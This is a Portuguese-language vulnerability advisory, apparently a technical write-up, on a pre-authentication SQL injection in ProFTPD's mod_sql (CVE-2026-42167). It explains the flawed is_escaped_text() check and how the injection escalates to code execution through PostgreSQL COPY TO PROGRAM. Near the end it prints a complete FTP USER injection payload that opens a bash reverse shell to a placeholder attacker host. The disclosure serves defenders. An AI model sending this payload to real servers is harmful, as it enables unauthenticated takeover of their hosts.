
# RCE Pré-Autenticação no ProFTPD via bypass de is_escaped_text() no mod_sql (CVE-2026-42167)
mod_sqlAutor: Van Glenndon Enad
Descoberta Original: ZeroPath
Publicado: 1 de maio de 2026
Severidade: Crítica
Pontuação CVSS v3.1: 8.1
Vetor CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Pontuação CVSS v2: 7.6
Vetor CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (Injeção de SQL), CWE-78 (Injeção de Comandos do SO)
CVE-2026-42167 é uma vulnerabilidade crítica de injeção de SQL pré-autenticação no módulo de extensão mod_sql do ProFTPD. Uma falha lógica na função is_escaped_text() permite que um atacante não autenticado contorne o escape de caracteres SQL criando um comando USER cujo valor satisfaz uma heurística defeituosa de "já escapado". O SQL injetado é passado diretamente ao banco de dados backend via PQexec(), que suporta consultas empilhadas.
Quando o papel do banco de dados do ProFTPD é um superusuário PostgreSQL — uma configuração incorreta comum em implantações conteinerizadas — a injeção alcança a diretiva COPY TO PROGRAM do PostgreSQL, resultando em Execução Remota de Código em nível de SO não autenticada como o usuário do sistema postgres. Nenhuma credencial, nenhum acesso prévio e nenhuma interação do usuário são necessários.
| Componente | Versão |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Módulo | mod_sql + mod_sql_postgres |
| Versão Corrigida | 1.3.9a (lançada em 27 de abril de 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (apenas bypass de autenticação) |
O ProFTPD é um servidor FTP de código aberto amplamente implantado. De acordo com o Shodan, existem mais de 160.000 instâncias do ProFTPD publicamente acessíveis na internet. O módulo mod_sql é comumente habilitado em painéis de controle de hospedagem compartilhada, incluindo cPanel, Plesk, DirectAdmin, Webmin e ISPConfig.
O módulo mod_sql do ProFTPD suporta autenticação e registro de atividades baseados em SQL. As strings de formato de log podem incluir variáveis de substituição como %U (nome de usuário), %r (host remoto) e %m (comando FTP). Essas variáveis são expandidas em tempo de execução e inseridas em consultas SQL executadas contra o backend configurado.
Uma configuração vulnerável típica:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
Nesta configuração, o valor fornecido no comando FTP USER é substituído por %U e incluído diretamente em uma instrução SQL INSERT. Antes da inserção, o valor é passado por is_escaped_text() para determinar se precisa de escape. Esta função contém uma falha lógica crítica.
is_escaped_text()Localizada em contrib/mod_sql.c, a função aplica a seguinte heurística para decidir se uma string está "já escapada":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume que a string está escapada se:
* 1. Começa com aspas simples
* 2. Termina com aspas simples
* 3. Não contém aspas simples internas
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* pular escape */
}
return FALSE;
}
Quando esta função retorna TRUE, sql_resolved_append_text() (linha 777) insere o valor bruto, sem escape, diretamente na string da consulta. O valor é então executado por PQexec() em contrib/mod_sql_postgres.c (linha 1146), que suporta consultas empilhadas (multi-instruções).
A heurística provavelmente foi projetada para detectar strings que já estavam cercadas por delimitadores de string SQL. No entanto, ela não faz nenhuma tentativa de verificar se o conteúdo interno é seguro — apenas que não há aspas simples adicionais presentes. Isso significa que qualquer payload que:
''$$ do PostgreSQL)...passará na verificação e será injetado literalmente na consulta SQL.
Cliente FTP ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expandir %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ pular escape │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ executar SQL empilhado
│ │ │ COPY TO PROGRAM
│ │ │── comando shell ──▶ SO
| Requisito | Observações |
|---|---|
mod_sql habilitado com registro SQL | Deve registrar uma variável pré-autenticação como %U |
| Backend PostgreSQL | Necessário para RCE via COPY TO PROGRAM; MySQL/SQLite ainda permitem bypass de autenticação |
| Papel do banco de dados é superusuário PostgreSQL | COPY TO PROGRAM é restrito a superusuários ou membros de pg_execute_server_program |
bash disponível no host do banco de dados | Necessário para entrega de reverse shell via /dev/tcp |
| Acessibilidade de rede | O contêiner PostgreSQL deve ser capaz de alcançar o atacante na porta do listener |
A condição de superusuário é frequentemente atendida em implantações conteinerizadas onde o usuário do banco de dados do ProFTPD é criado via POSTGRES_USER=... na imagem Docker oficial do PostgreSQL, ou quando um administrador concede ao papel do ProFTPD a propriedade do banco de dados.
Passo 1: Atacante envia comando USER elaborado (pré-autenticação, sem credenciais)
│
▼
Passo 2: ProFTPD expande %U com valor controlado pelo atacante
│
▼
Passo 3: Bypass de is_escaped_text() — SQL bruto passa sem escape
│
▼
Passo 4: PQexec() executa consulta empilhada contra o PostgreSQL
│
▼
Passo 5: COPY TO PROGRAM executa comando shell do atacante como usuário do SO postgres
│
▼
Passo 6: Reverse shell / exfiltração de arquivos entregue ao atacante
O payload de injeção é entregue via comando FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condição | Satisfeita? | Motivo |
|---|---|---|
Começa com ' | ✅ | Primeiro caractere é ' |
Termina com ' | ✅ | Último caractere é ' |
| Sem aspas simples internas | ✅ | Strings internas usam citação por dólar $$ |